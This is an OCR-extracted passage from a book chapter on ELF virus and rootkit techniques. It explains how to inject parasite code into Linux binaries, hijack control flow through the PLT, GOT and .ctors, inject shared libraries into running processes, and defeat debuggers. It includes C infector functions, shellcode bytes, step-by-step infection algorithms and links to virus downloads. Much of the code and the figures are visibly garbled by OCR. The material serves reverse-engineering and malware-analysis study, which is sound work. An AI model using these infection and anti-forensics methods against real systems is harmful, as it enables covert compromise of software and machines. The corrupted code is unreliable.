read+write+execute (RWX), by using the -N option with gcc. This is very nice because
the global data and read-only data, such as the .data and . rodata sections, are all merged
into a single segment. This allows the virus to simply inject the entire segment during the
infection phase, which will include string literals such as those from .rodata. This
technique combined with IP-relative addressing allows a virus author to use traditional
string literals:

char *name = "elfmaster";

This type of string can now be used in the virus code, and the method of storing strings on
the stack can be avoided entirely. It is important to note, however, that keeping all of the
strings stored off the stack in global data will cause the overall size of the virus parasite to
increase, which is sometimes undesirable. The Skeksi virus was recently released and is
available at http://www.bitlackeys.org/#skeksi.
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Finding legitimate space to store parasite code

This is one of the big questions to answer when writing a virus: where will the payload
(the body of the virus) be injected? In other words, where in the host binary will the
parasite live? The possibilities vary from binary format to binary format. In the ELF
format, there are quite a number of places to inject code, but they all require correct
adjustment of the various different ELF header values.

The challenge isn’t necessarily finding space but rather adjusting the ELF binary to allow
you to use that space while keeping the executable file looking reasonably normal and
staying within the ELF specifications closely enough so that it still executes properly.
There are many things that must be considered when patching a binary and modifying its
layout, such as page alignment, offset adjustments, and address adjustments.

Solution

Read the ELF specs carefully when creating new methods of binary patching, and make
sure that you stay within the boundaries necessary for program execution. In the next
section, we will discuss some techniques of virus infection.



Passing the execution control flow to the parasite

Here is another common challenge, which is how to pass the control flow of the host
executable to the parasite. In many cases, it will suffice to adjust the entry point in the ELF
file header to point to the parasite code. This is reliable, but also very obvious. If the entry
point has been modified to point at the parasite, then we can use readelf -h to see the
entry point and immediately know the location of the parasite code.

Solution

If you don’t want to modify the entry point address, then consider finding a place where
you can insert/modify a branch to your parasite code, such as inserting a jmp or
overwriting a function pointer. One great place for this is in the .ctors or .init_array
sections, which contain function pointers. The .dtors or .fini_array sections can work
as well if you don’t mind the parasite executing after the regular program code (instead of
before).






ELF virus parasite infection methods

There are only so many places to fit code in a binary, and for any sophisticated virus, the
parasite is going to be at least a few thousand bytes and will require enlarging the size of
the host executable. In ELF executables, there aren’t a whole lot of code caves (such as in
the PE format), so you are not likely to be able to shove more than just a meager amount
of shellcode into existing code slots (such as areas that have Os or NOPS for function
padding).



The Silvio padding infection method

This infection method was conceived by Silvio Cesare in the late *90s and has since
shown up in various Linux viruses, such as Brundle Fly and the POCs produced by Silvio
himself. This method is inventive, but it limits the infection payload to one page size. On
32-bit Linux systems, this is 4096 bytes, but on 64-bit systems, the executables use large
pages that measure 0x200000 bytes, which allows for about a 2-MB infection. The way
that this infection works is by taking advantage of the fact that in memory, there will be
one page of padding between the text segment and data segment, whereas on disk, the text
and data segments are back to back, but someone can take advantage of the expected
space between segments and utilize that as an area for the payload.

Entry point transfers control to paraﬁitgb1

{  entry point
................................ S
Ox8048ff0

Jump back to original entrjb1

0xB8049c00
PARASITE ‘_*ﬂ;/
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Ox804ac00

DATA SEGMENT

Figure 4.2: The Silvio padding infection layout

The text padding infection created by Silvio is heavily detailed and documented in his VX
Heaven paper Unix ELF parasites and viruses (http://vxheaven.org/lib/vsc01.html), so for
extended reading, by all means check it out.

Algorithm for the Silvio .text infection method

1. Increase ehdr->e_shoff by PAGE_SIZE in the ELF file header.
2. Locate the text segment phdr:

1. Modify the entry point to the parasite location:
ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz

2. Increase phdr [TEXT].p_filesz by the length of the parasite.
3. Increase phdr [TEXT].p_memsz by the length of the parasite.

3. For each phdr whose segment is after the parasite, increase phdr[x].p_offset by
PAGE_SIZE bytes.

4. Find the last shdr in the text segment and increase shdr[x].sh_size by the length of
the parasite (because this is the section that the parasite will exist in).

5. For every shdr that exists after the parasite insertion, increase shdr[x].sh_offset
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by PAGE_SIZE.
6. Insert the actual parasite code into the text segment at (file_base +
phdr [TEXT].p_filesz).

Note

The original p_filesz value is used in the computation.
Tip
It makes more sense to create a new binary that reflects all of the changes and then

copy it over the old binary. This is what I mean by inserting the parasite code:
rewriting a new binary that includes the parasite within it.

A good example of this infection technique being implemented by an ELF virus is my Ipv
virus, which was written in 2008. For the sake of being efficient, I will not paste the code

here, but it can be found at http://www.bitlackeys.org/projects/Ipv.c.
An example of text segment padding infection

A text segment padding infection (also referred to as a Silvio infection) can best be
demonstrated by some example code, where we see how to properly adjust the ELF
headers before inserting the actual parasite code.

Adjusting the ELF headers

#define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we patch
/* movl $addr, %eax; jmp *eax; */
char parasite_shellcode[] =

"\xb8\x00\x00\x00\x00"

"\xff\xe0@"

l4

int silvio_text_infect(char *host, void *base, void *payload, size_t
host_len, size_t parasite_len)
{

E1f64_Addr o_entry;

E1f64_Addr o_text_filesz;

E1f64_Addr parasite_vaddr;

uint64_t end_of_text;

int found_text;

uint8_t *mem = (uint8_t *)base;
uint8_t *parasite = (uint8_t *)payload;

E1f64_Ehdr *ehdr
E1f64_Phdr *phdr
E1f64_Shdr *shdr

(ELf64_Ehdr *)mem;
(ELf64_Phdr *)&mem[ehdr->e_phoff];
(ELf64_Shdr *)&mem[ehdr->e_shoff];

/*
* Adjust program headers
*/
for (found_text = 0, 1 = 0; 1 < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD) {
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if (phdr[i].p_offset == 0) {

o_text_filesz = phdr[i].p_filesz;

end_of_text = phdr[i].p_offset +
phdr[i].p_filesz;

parasite_vaddr = phdr[i].p_vaddr +
o_text_filesz;

phdr[i].p_filesz += parasite_len;
phdr[i].p_memsz += parasite_len;

for (j =1 + 1; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset >
phdr[i].p_offset + o_text_filesz)
phdr[j].p_offset +=
PAGE_SIZE;

}
break;
}
3
for (1 = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_addr > parasite_vaddr)
shdr[i].sh_offset += PAGE_SIZE;

else
if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
shdr[i].sh_size += parasite_len;
}
/*
* NOTE: Read insert_parasite() src code next
*/

insert_parasite(host, parasite_len, host_len,
base, end_of_text, parasite, JMP_PATCH_OFFSET);
return 0,

}

Inserting the parasite code

#define TMP "/tmp/.infected"

void insert_parasite(char *hosts_name, size_t psize, size_t hsize, uint8_t
*mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset)

{

/* note: jmp_code_offset contains the

* offset into the payload shellcode that

has the branch instruction to patch

with the original offset so control

flow can be transferred back to the

host.

b T

int ofd;

unsigned int c;

int i, t = 0;

open (TMP, O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR|S_IXUSR|S_IWUSR);
write (ofd, mem, end_of_text);



*(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
write (ofd, parasite, psize);

lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);

mem += end_of_text;

unsigned int sum = end_of_text + PAGE_SIZE;

unsigned int last_chunk = hsize - end_of_text;

write (ofd, mem, last_chunk);

rename (TMP, hosts_name);

close (ofd);

}
Example of using the functions above

uint8_t *mem = mmap_host_executable("./some_prog");
silvio_text_infect("./some_prog", mem, parasite_shellcode, parasite_len);

The LPYV virus

The LPV virus uses the Silvio padding infection and is designed for 32-bit Linux systems.
It is available for download at http://www.bitlackeys.org/#lpv.

Use cases for the Silvio padding infection

The Silvio padding infection method discussed is very popular and has as such been used
a lot. The implementation of this method on 32-bit UNIX systems is limited to a parasite
of 4,096 bytes, as mentioned earlier. On newer systems where large pages are used, this
infection method has a lot more potential and allows much larger infections (upto
0x200000 bytes). I have personally used this method for parasite infection and relocatable
code injection, although I have ditched it in favor of the reverse text infection method,
which we will discuss next.
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The reverse text infection

This idea behind this infection was originally conceived and documented by Silvio in his
UNIX viruses paper, but it did not provide a working POC. I have since extended this into
an algorithm that I have used for a variety of ELF hacking projects, including my software
protection product Mayas Veil, which is discussed at http://www.bitlackeys.org/#maya.

The premise behind this method is to extend the text segment in reverse. In doing this, the
virtual address of the text will be reduced by PAGE_ALIGN (parasite_size). And since the
smallest virtual mapping address allowed (as per /proc/sys/vm/mmap_min_addr) on
modern Linux systems is 0x1000, the text virtual address can be extended backwards only
that far. Fortunately, since the default text virtual address on a 64-bit system is usually
0x400000, this leaves room for a parasite of 0x3ff000 bytes (minus another

sizeof (ELfN_Ehdr) bytes, to be exact).

The complete formula to calculate the maximum parasite size for a host executable would
be this:

max_parasite_length = orig_text_vaddr - (0x1000 + sizeof (EL1fN_Ehdr))
Note

On 32-bit systems, the default text virtual address is 0x08048000, which leaves room for
an even larger parasite than on a 64-bit system:

(Ox8048000 - (0x1000 + sizeof(ELfN_Ehdr)) = (parasite len)134508492
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Figure 4.3: The reverse text infection layout

There are several attractive features to this . text infection: not only does it allow
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extremely large code injections, but it also allows for the entry point to remain pointing to
the . text section. Although we must modify the entry point, it will still be pointing to the
actual . text section rather than another section such as . jcr or .eh_frame, which would
immediately look suspicious. The insertion spot is in the text, so it is executable (like the
Silvio padding infection). This beats data segment infections, which allow unlimited
insertion space but require altering the segment permissions on NX-bit enabled systems.

Algorithm for reverse text infection

Note

This makes a reference to the PAGE_ROUND(x) macro and rounds an integer up to the next
PAGE aligned value.

1. Increase ehdr->e_shoff by PAGE_ROUND(parasite_len).
2. Find the text segment, phdr, and save the original p_vaddr:

1. Decrease p_vaddr by PAGE_ROUND(parasite_len).
2. Decrease p_paddr by PAGE_ROUND(parasite_len).
3. Increase p_filesz by PAGE_ROUND(parasite_len).
4. Increase p_memsz by PAGE_ROUND(parasite_len).

3. Find every phdr whose p_offset is greater than the text’s p_offset and increase
p_offset by PAGE_ROUND(parasite_len); this will shift them all forward, making
room for the reverse text extension.

4. Set ehdr->e_entry to this:

orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(E1fN_Ehdr)

5. Increase ehdr->e_phoff by PAGE_ROUND(parasite_len).
6. Insert the actual parasite code by creating a new binary to reflect all of these changes
and copy the new binary over the old.

A complete example of the reverse text infection method can be found on my website at
http://www.bitlackeys.org/projects/text-infector.tgz.

An even better example of the reverse text infection is used in the Skeksi virus, which can
be downloaded from the link provided earlier in this chapter. A complete disinfection
program for this type of infection is also available here:

http://www.bitlackeys.org/projects/skeksi_disinfect.c.
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Data segment infections

On systems that do not have the NX bit set, such as 32-bit Linux systems, one can execute
code in the data segment (even though its permissions are R+W) without having to change
the segment permissions. This can be a really nice way to infect a file, because it leaves
infinite room for the parasite. One can simply append to the data segment with the parasite
code. The only caveat to this is that you must leave room for the .bss section. The .bss
section takes up no room on disk but is allocated space at the end of the data segment at
runtime for uninitialized variables. You may get the size of what the .bss section will be
in memory by subtracting the data segment’s phdr->p_filesz from its phdr->p_memsz.
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Algorithm for data segment infection

1. Increase ehdr->e_shoff by the parasite size.
2. Locate the data segment phdr:

1. Modify ehdr->e_entry to point where parasite code will be:
phdr->p_vaddr + phdr->p_filesz

2. Increase phdr->p_filesz by the parasite size.
3. Increase phdr->p_memsz by the parasite size.

3. Adjust the .bss section header so that its offset and address reflect where the parasite
ends.
4. Set executable permissions on data segment:

phdr [DATA].p_flags |= PF_X;
Note

Step 4 only applies to systems with the NX (non-executable pages) bit set. On 32-bit
Linux, the data segment doesn’t require to be marked executable in order to execute



code unless something like PaX (https://pax.grsecurity.net/) is installed in the kernel.

5. Optionally, add a section header with a fake name to account for your parasite code.
Otherwise, if someone runs /usr/bin/strip <infected_program> it will remove
the parasite code completely if it’s not accounted for by a section.

6. Insert the parasite by creating a new binary that reflects the changes and includes the
parasite code.

Data segment infections serve well for scenarios that aren’t necessarily virus-specific as
well. For instance, when writing packers, it is often useful to store the encrypted
executable within the data segment of the stub executable.
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The PT NOTE to PT LOAD conversion
infection method

This method is extremely powerful and, although easily detectable, is also relatively easy
to implement and provides reliable code insertion. The idea is to convert the PT_NOTE
segment to the PT_LOAD type and move its position to go after all of the other segments. Of
course, you could also just create an entirely new segment by creating a PT_LOAD phdr
entry, but since a program will still execute without a PT_NOTE segment, you might as well
convert it to PT_LOAD. I have not personally implemented this technique for a virus, but I
have designed a feature in Quenya v0.1 that allows you to add a new segment. I also did
an analysis of the Retaliation Linux virus authored by Jpanic, which uses this method for
infection:

http://www.bitlackeys.org/#retaliation.
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Figure 4.5: PT_LOAD infection

There are no strict rules about the PT_LOAD infection. As mentioned here, you may convert
PT_NOTE into PT_LOAD or create an entirely new PT_LOAD phdr and segment.


http://www.bitlackeys.org/#retaliation

Algorithm for PT_NOTE to PT_LOAD conversion
infections
1. Locate the data segment phdr:
1. Find the address where the data segment ends:
ds_end_addr = phdr->p_vaddr + p_memsz
2. Find the file offset of the end of the data segment:
ds_end_off = phdr->p_offset + p_filesz
3. Get the alignment size used for the loadable segment:

align_size = phdr->p_align

2. Locate the PT_NOTE phdr:
1. Convert phdr to PT_LOAD:
phdr->p_type = PT_LOAD;
2. Assign it this starting address:
ds_end_addr + align_size
3. Assign it a size to reflect the size of your parasite code:

phdr->p_filesz += parasite_size
phdr->p_memsz += parasite_size

3. Use ehdr->e_shoff += parasite_size to account for the new segment.
4. Insert the parasite code by writing a new binary to reflect the ELF header changes
and new segment.

Note

Remember that the section header table goes after the parasite segment, hence ehdr -
>e_shoff += parasite_size.






Infecting control flow

In the previous section, we examined the methods in which parasite code can be
introduced into a binary and then executed by modifying the entry point of the infected
program. As far as introducing new code into a binary goes, these methods work
excellently; in fact, they are great for binary patching, whether it be for legitimate
engineering reasons or for a virus. Modifying the entry point is also quite suitable in many
cases, but it is far from stealthy, and in some cases, you may not want your parasite code
to execute at entry time. Perhaps your parasite code is a single function that you infected a
binary with and you only want this function to be called as a replacement for another
function within the binary that it infected; this is called function hijacking. When
intending to pursue more intricate infection strategies, we must be aware of all of the
possible infection points in an ELF program. This is where things begin to get real
interesting. Let’s take a look at many of the common ELF binary infection points:

TEXT SEGMENT

S
Bx8045000
as _+
aa _}.
. <>

0x804A000
DATA SEGMENT

>

SECTION HEADER TABLE

Figure 4.6: ELF infection points

As shown in the preceding figure, there are six other primary areas in the ELF program
that can be manipulated to modify the behavior in some way.



Direct PLT infection

Do not confuse this with PLT/GOT (sometimes called PLT hooks). The PLT (procedure
linkage table) and GOT (global offset table) work closely in conjunction during dynamic
linking and through shared library function calls. They are two separate sections, though.
We learned about them in the Dynamic linking section of Chapter 2, The ELF Binary
Format. As a quick refresher, the PLT contains an entry for every shared library function.
Each entry contains code that performs an indirect jmp to a destination address that is
stored in the GOT. These addresses eventually point to their associated shared library
function once the dynamic linking process has been completed. Usually, it is practical for
an attacker to overwrite the GOT entry containing the address that points to his or her
code. This is practical because it is easiest; the GOT is writable, and one must only modify
its table of addresses to change the control flow. When discussing direct PLT infection, we
are not referring to modifying the GOT, though. We are talking about actually modifying
the PLT code so that it contains a different instruction to alter the control flow.

The following is the code for a PLT entry for the 1ibc fopen() function:

0000000000402350 <fopen@plt>:

402350: ff 25 9a 7d 21 00 jmpq *Ox217d9a(%rip) #
61a0f0

402356 68 1b 00 00 00 pushqg $0x1b

40235b: e9 30 fe ff ff jmpq 402190 <_init+0x28>

Notice that the first instruction is an indirect jump. The instruction is six bytes long: this
could easily be replaced with another five/six-byte instruction that changes the control
flow to the parasite code. Consider the following instructions:

push $0x000000 ; push the address of parasite code onto stack
ret ; return to parasite code

These instructions are encoded as \x68\x00\x00\x00\x00\xc3, which could be injected
into the PLT entry to hijack all fopen() calls with a parasite function (whatever that might
be). Since the .plt section is in the text segment, it is read-only, so this method won’t
work as a technique for exploiting vulnerabilities (such as .got overwriting), but it is
absolutely possible to implement with a virus or a memory infection.



Function trampolines

This type of infection certainly falls into the last category of direct PLT infection, but to be
specific with our terminology, let me describe what a traditional function trampoline
usually refers to, which is overwriting the first five to seven bytes of a function’s code
with some type of branch instruction that changes the control flow:

movl $<addr>, %eax --- encoded as \xb8\x00\x00\x00\x00\xff\xe0d
jmp *%eax

push $<addr> --- encoded as \x68\x00\x00\x00\xc3

ret

The parasite function is then called instead of the intended function. If the parasite
function needs to call the original function, which is often the case, then it is the job of the
parasite function to replace those five to seven bytes in the original function with the
original instructions, call it, and then copy the trampoline code back into place. This
method can be used both by applying it in the actual binary itself or in memory. This
technique is commonly used when hijacking kernel functions, although it is not very safe
in multithreaded environments.



Overwriting the .ctors/.dtors function pointers

This method was actually mentioned earlier in this chapter when discussing the challenges
of directing the control flow of execution to the parasite code. For the sake of
completeness, I will give a recap of it: Most executables are compiled by linking to libc,
and so gcc includes glibc initialization code in compiled executables and shared libraries.
The .ctors and .dtors sections (sometimes called .init_array and .fini_array)
contain function pointers to initialization or finalization code. The .ctors/.init_array
function pointers are triggered before main() is ever called. This means that one can
transfer control to their virus or parasite code by overwriting one of the function pointers
with the proper address. The .dtors/.fini_array function pointers are not triggered until
after main( ), which can be desirable in some cases. For instance, certain heap overflow
vulnerabilities (for example, Once upon a free: http://phrack.org/issues/57/9.html) result in
allowing the attacker to write four bytes to any location, and often will overwrite a .dtors
function pointer with an address that points to shellcode. In the case of most virus or
malware authors, the .ctors/.init_array function pointers are more commonly the
target, since it is usually desirable to get the parasite code to run before the rest of the
program.


http://phrack.org/issues/57/9.html

GOT - global offset table poisoning or PLT/GOT

redirection

Also called PLT/GOT infection, GOT poisoning is probably the best way to hijack shared
library functions. It is relatively easy and allows attackers to make good use of the GOT,
which is a table of pointers. Since we discussed the GOT in depth in the dynamic linking
section in Chapter 2, The ELF Binary Format, I won’t elaborate more on its purpose. This
technique can be applied by infecting a binary’s GOT directly or simply doing it in
memory. There is a paper about doing this in memory that I wrote in 2009 called Modern
Day ELF Runtime infection via GOT poisoning at http://vxheaven.org/lib/vrn00.html,
which explains how to do this in runtime process infection and also provides a technique
that can be used to bypass security restrictions imposed by PaX.


http://vxheaven.org/lib/vrn00.html

Infecting data structures

The data segment of an executable contains global variables, function pointers, and
structures. This opens up an attack vector that is isolated to specific executables, as each
program has a different layout in the data segment: different variables, structures, function
pointers, and so on. Nonetheless, if an attacker is aware of the layout, one can manipulate
them by overwriting function pointers and other data to change the behavior of the
executable. One good example of this is with data/. bss buffer overflow exploits. As we
learned in Chapter 2, The ELF Binary Format, .bss is allocated at runtime (at the end of
the data segment) and contains uninitialized global variables. If someone were able to
overflow a buffer that contained a path to an executable that is executed, then one could
control which executable would be run.



Function pointer overwrites

This technique really falls into the last one (infecting data structures) and also into the one
pertaining to .ctors/.dtors function pointer overwrites. For the sake of completeness, I
have it listed it as its own technique, but essentially, these pointers are going to be in the
data segment and in .bss (initialized/uninitialized static data). As we’ve already talked
about, one can overwrite a function pointer to change the control flow so that it points to
the parasite.






Process memory viruses and rootkits —
remote code injection techniques

Up until now, we’ve covered the fundamentals of infecting ELF binaries with parasite
code, which is enough to keep you busy for at least several months of coding and
experimentation. This chapter would not be complete, though, without a thorough
discussion of infecting process memory. As we’ve learned, a program in memory is not
much different than it is on disk, and we can access and manipulate a running program
with the ptrace system call, as shown in Chapter 3, Linux Process Tracing. Process
infections are a lot more stealthy than binary infections, since they don’t modify anything
on disk. Therefore, process memory infections are usually an attempt at defeating forensic
analysis. All of the ELF infection points that we just discussed are relevant to process
infection, although injecting actual parasite code is done differently than it is with an ELF
binary. Since it is in memory, we must get the parasite code into memory, which can be
done by injecting it directly with PTRACE_POKETEXT (overwriting existing code) or, more
preferably, by injecting shellcode that creates a new memory mapping to store the code.
This is where things such as shared library injection come into play. Throughout the rest
of this chapter, we will discuss some methods for remote code injection (injecting code
into another process).



Shared library injection — .so injection/ET_DYN
injection

This technique can be used to inject a shared library (whether malicious or not) into an
existing process’ address space. Once the library is injected, you may use one of the
infection points described earlier to redirect control flow to the shared library through

PLT/GOT redirection, function trampolines, and so on. The challenge is getting the shared
library into the process, and this can be done in a number of ways.



.50 injection with LD_PRELOAD

It is debatable whether we can actually call this method for injecting a shared library into a
process is debatable injection, since it does not work on existing processes but rather the
shared library is loaded upon execution of the program. This works by setting the
LD_PRELOAD environment variable so that the desired shared library is loaded with
precedence before any others. This can be a good way to quickly test subsequent
techniques such as PLT/GOT redirection, but is not stealthy and does not work on existing
processes.

Illustration 4.7 — using LD_PREIL OAD to inject wicked.so.1

$ export LD_PRELOAD=/tmp/wicked.so.1

$ /usr/local/some_daemon

$ cp /1ib/x86_64-1linux-gnu/libm-2.19.s0 /tmp/wicked.so.1
$ export LD_PRELOAD=/tmp/wicked.so.1

$ /usr/local/some_daemon &

$ pmap "pidof some_daemon® | grep 'wicked'

000O7ffaa731e000 1044K r-x-- wicked.so.1

00007ffaa7423000 2044K ----- wicked.so.1
00007ffaa7622000 4K r---- wicked.so.1
00007ffaa7623000 4K rw--- wicked.so.1

As you can see, our shared library, wicked.so.1, is mapped into the process address
space. Amateurs tend to use this technique to create little userland rootkits that hijack
glibc functions. This is because the preloaded library will take precedence over any of the
other shared libraries, so if you name your functions the same as a glibc function such as
open() orwrite() (which are wrappers for syscalls), then your preloaded libraries’
version of the functions will execute and not the real open() and write(). This is a cheap
and dirty way to hijack glibc functions and should not be used if an attacker wishes to
remain stealthy:.



.50 injection with open()/mmap() shellcode

This is a way to load any file (including shared libraries) into the process address space by
injecting shellcode (using ptrace) into an existing process’ text segment and then
executing it to perform open/mmap on a shared library into the process. We demonstrated
this in Chapter 3, Linux Process Tracing, with our code_inject.c example, which loaded
a very simple executable into the process. That same code could be used to load a shared
library in as well. The problem with this technique is that most shared libraries that you
will want to inject will require relocations. The open()/mmap() functions will only load
the file into memory but won’t handle code relocations, so mostly any shared library that
you will want to load won’t properly execute unless it’s completely position-independent
code. At this point, you could choose to manually handle the relocations by parsing the
shared libraries’ relocations and applying them in memory using ptrace (). Fortunately, an
easier solution exists, which we will discuss next.



.50 injection with dlopen() shellcode

The dlopen() function is used to dynamically load shared libraries that an executable
wasn’t linked with in the first place. Developers often use this as a way to create plugins
for their applications in the form of shared libraries. A program can call dlopen() to load
a shared library on the fly, and it actually invokes the dynamic linker to perform all of the
relocations for you. There is a problem, though: most processes do not have dlopen()
available to them, because it exists in 1ibdl.so.2, and a program must be explicitly
linked to 1ibdl.so.2 in order to invoke dlopen (). Fortunately, there is also a solution to
this: almost every single program has 1ibc.so mapped into the process address space by
default (unless it was explicitly compiled otherwise) and 1ibc.so has an equivalent to
dlopen() called _ libc_dlopen_mode(). This function is used almost in the exact same
way, but it requires a special flag be set:

#define DLOPEN_MODE_FLAG Ox80000000

This isn’t much of a hurdle. But prior to using __1ibc_dlopen_mode(), you must first
resolve it remotely by getting the base address of 1ibc.so in the process you want to
infect, resolve the symbol for _ 1ibc_dlopen_mode(), and then add the symbol value
st_value (refer to Chapter 2, The ELF Binary Format) to the base address of 1ibc to get
the final address of __1ibc_dlopen_mode(). You can then design some shellcode in C or
assembly that calls _ 1ibc_dlopen_mode() to load your shared library into the process,
with full relocations and ready to execute. The _ 1ibc_dlsym() function can then be used
to resolve symbols within your shared library. See the dlopen manpages for more details
on using dlopen() and dlsym().

Illustration 4.8 — C code invoking __libc_dlopen_mode()

/* Taken from Saruman's launcher.c */

#define _ RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag

#define _ BREAKPOINT__ _ asm__ _ volatile_ ("int3");

#define _ RETURN_VALUE__ (x) __asm__ _ volatile__ ("mov %0, %%rax\n" :: "g"

(x))

__PAYLOAD_KEYWORDS___ void * dlopen_load_exec(const char *path, void
*dlopen_addr)

{
void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;
void *handle; handle = libc_dlopen_mode(path,
_ _RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
__RETURN_VALUE__(handle);
_ BREAKPOINT__;

}

It is very much worth noting that d1lopen() will load PIE executables too. This means that
you can inject a complete program into a process and run it. In fact, you can run as many
programs as you want in a single process. This is an incredible anti-forensics technique,
and when using thread injection, you can run them all concurrently so that they execute at
the same time. Saruman is a PoC software that I designed to do this. It uses two possible
methods of injection: the open()/mmap () method with manual relocations or the



__libc_dlopen_mode () method. This is available on my site at
http://www.bitlackeys.org/#saruman.



http://www.bitlackeys.org/#saruman

.50 injection with VDSO manipulation

This is a technique that I discussed in my paper at http://vxheaven.org/lib/vrn00.html. The
idea is to manipulate the virtual dynamic shared object (VDSO), which is mapped into
every process address space in Linux since kernel version 2.6.x. The VDSO contains code
to speed up system calls, and they can be invoked directly from the VDSO. The trick is to
locate the code that invokes syscalls by using PTRACE_SYSCALL, which will break once it
lands on this code. The attacker can then load %eax/%rax with the desired syscall number
and store the arguments in the other registers, following the proper calling convention for
Linux x86 system calls. This is surprisingly easy and can be used to call the
open()/mmap () method without having to inject any shellcode. This can be useful for
bypassing PaX, which prevents a user from injecting code into the text segment. I
recommend reading my paper for a complete dissertation on the technique.



http://vxheaven.org/lib/vrn00.html

Text segment code injections

This is a simple technique and is not very useful for anything other than injecting
shellcode, which should then quickly be replaced with the original code once the shellcode
has finished executing. Another reason you would want to directly modify the text
segment is to create function trampolines, which we discussed earlier in this chapter, or to
directly modify the .plt code. As far as code injection goes, though, it is preferable to
load code into the process or create a new memory mapping where code can be stored:
otherwise, the text segment could easily be detected as being modified.



Executable injections

As mentioned previously, dlopen() is capable of loading PIE executables into a process,
and I even included a link to Saruman, which is the crafty software that allows you to run
programs within existing processes for anti-forensics measures. But what about injecting
ET_EXEC type executables? This type of executable does not provide any relocation
information except for dynamic-linking R_X86_64_JUMP_SLOT/R_386_JUMP_SLOT
relocation types. This means that injecting a regular executable into an existing process is
ultimately going to be unreliable, especially when injecting more complex programs.
Nevertheless, I created a PoC of this technique called elfdemon, which maps the
executable to some new mappings that don’t conflict with the host process executable
mappings. It then hijacks control (unlike Saruman, which allows concurrent execution)
and passes control back to the host process once it is done running. An example of this can

be found at http://www.bitlackeys.org/projects/elfdemon.tgz.


http://www.bitlackeys.org/projects/elfdemon.tgz

Relocatable code injection — the ET_REL injection

This method is very similar to shared library injection but is not compatible with
dlopen(). ET_REL (.o files) are relocatable code, much like ET_DYN (.so files), but they
are not meant to be executed as single files; they are meant to link into either an
executable or a shared library, as discussed in Chapter 2, The ELF Binary Format. This,
however, doesn’t mean that we can’t inject them, relocate them, and execute their code.
This can be done by using any of the techniques described earlier except dlopen(). So,
open/mmap is sufficient but requires that you manually handle the relocations, which can
be done using ptrace. In Chapter 2, The ELF Binary Format, we gave an example of the
relocation code in the software that I designed, called Quenya. This demonstrates how to
handle relocations in an object file when injecting it into an executable. The same
principles can be used when injecting one into a process.






ELF anti-debugging and packing
techniques

In the next chapter, Breaking ELF Software Protection, we will discuss the ins and outs of
software encryption and packing with ELF executables. Viruses and malware are very
commonly encrypted or packed with some type of protection mechanism, which can also
include anti-debugging techniques to make analyzing the binary very difficult. Without
giving a complete exegesis on the subject, here are some common anti-debugging
measures taken by ELF binary protectors that are commonly used to wrap around
malware.



The PTRACE_TRACEME technique

This technique takes advantage of the fact that a program can only be traced by one
process at a time. Almost all debuggers use ptrace, including GDB. The idea is that a
program can trace itself so that no other debugger can attach.

Illustration 4.9 — an anti-debug with PTRACE_TRACEME example

void anti_debug_check(void)

{
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {

printf("A debugger is attached, but not for long!\n");
kill(getpid());
exit(0);
}
}

The function in Illustration 4.9 will kill the program (itself) if one is attached with a
debugger; it will know because it will fail to trace itself. Otherwise, it will succeed in
tracing itself, and no other tracers will be allowed, preventing debuggers.



The SIGTRAP handler technique

While debugging, we often set breakpoints, and when a breakpoint is hit, it generates a
SIGTRAP signal, which is caught by our debugger’s signal handler; the program halts and
we can inspect it. With this technique, the program sets up a signal handler to catch
SIGTRAP signals and then deliberately issues a breakpoint instruction. When the
program’s SIGTRAP handler catches it, it will increment a global variable from o to 1.

The program can then check to see whether the global variable is set to 1, if it is, that
means that our program caught the breakpoint and there is no debugger present; otherwise,
if it is 0, it must have been caught by a debugger. At this point, the program can choose to
kill itself or exit in order to prevent debugging:

static int caught = 0;
int sighandle(int sig)

{
caught++;
}
int detect_debugger(void)
{

__asm__ volatile("int3");

if ('caught) {
printf("There is a debugger attached!\n");
return 1,



The /proc/self/status technique

This dynamic file exists for every process and includes a lot of information, including
whether or not the process is currently being traced.

An example of the layout of /proc/self/status, which can be parsed to detect
tracers/debuggers, is as follows:

ryan@elfmaster:~$ head /proc/self/status
Name: head

State: R (running)

Tgid: 19813

Ngid: ©

Pid: 19813

PPid: 17364

TracerPid: 0

Uid: 1000 1000 1000 1000
Gid: 31337 31337 31337 31337
FDSize: 256

As highlighted in the preceding output, tracerPid: 6 means that the process is not being
traced. All that a program must do to see whether it is being traced is to open
/proc/self/status and check whether or not the value is 0. If not, then it knows it is
being traced and it can Kkill itself or exit.



The code obfuscation technique

Code obfuscation (also known as code transformation) is a technique where assembly-
level code is modified to include opaque branch instructions or misaligned instructions
that throw off the disassembler’s ability to read the bytecode correctly. Consider the
following example:

jmp antidebug + 1

antidebug:

.short 0xe9 ;first byte of a jmp instruction
mov $0x31337, %eax

When the preceding code is compiled and viewed with the objdump disassembler, it looks
like this:

4: eb 01 jmp 7 <antidebug+0x1>
<antidebug:>

6: e9 00 b8 37 13 jmpg  1337b806b

b: 03 00 add (%rax), %eax

The code is actually doing a mov $0x31337, %eax operation, and functionally, it performs
that correctly, but because there was a single 0xe9 before that, the disassembler perceived
it as a jmp instruction (since 0xe9 is the prefix for a jmp).

So, code transformation doesn’t change the way the code functions, only how it looks. A
smart disassembler such as IDA wouldn’t be fooled by the preceding code snippet,
because it uses control flow analysis when generating the disassembly.



The string table transformation technique

This is a technique that I conceived in 2008 and have not seen used widely, but I would be
surprised if it hasn’t been used somewhere. The idea behind this uses the knowledge we
have gained about the ELF string tables for symbol names and section headers. Tools such
as objdump and gdb (often used in reverse engineering) rely on the string table to learn the
names of functions and sections within an ELF file. This technique scrambles the order of
the name of each symbol and section. The result is that section headers will be all mixed
up (or appear to be) and so will the names of functions and symbols.

This technique can be very misleading to a reverse engineer; for instance, they might think
they are looking at a function called check_serial number (), when really they are
looking at safe_strcpy(). I have implemented this in a tool called elfscure, available at

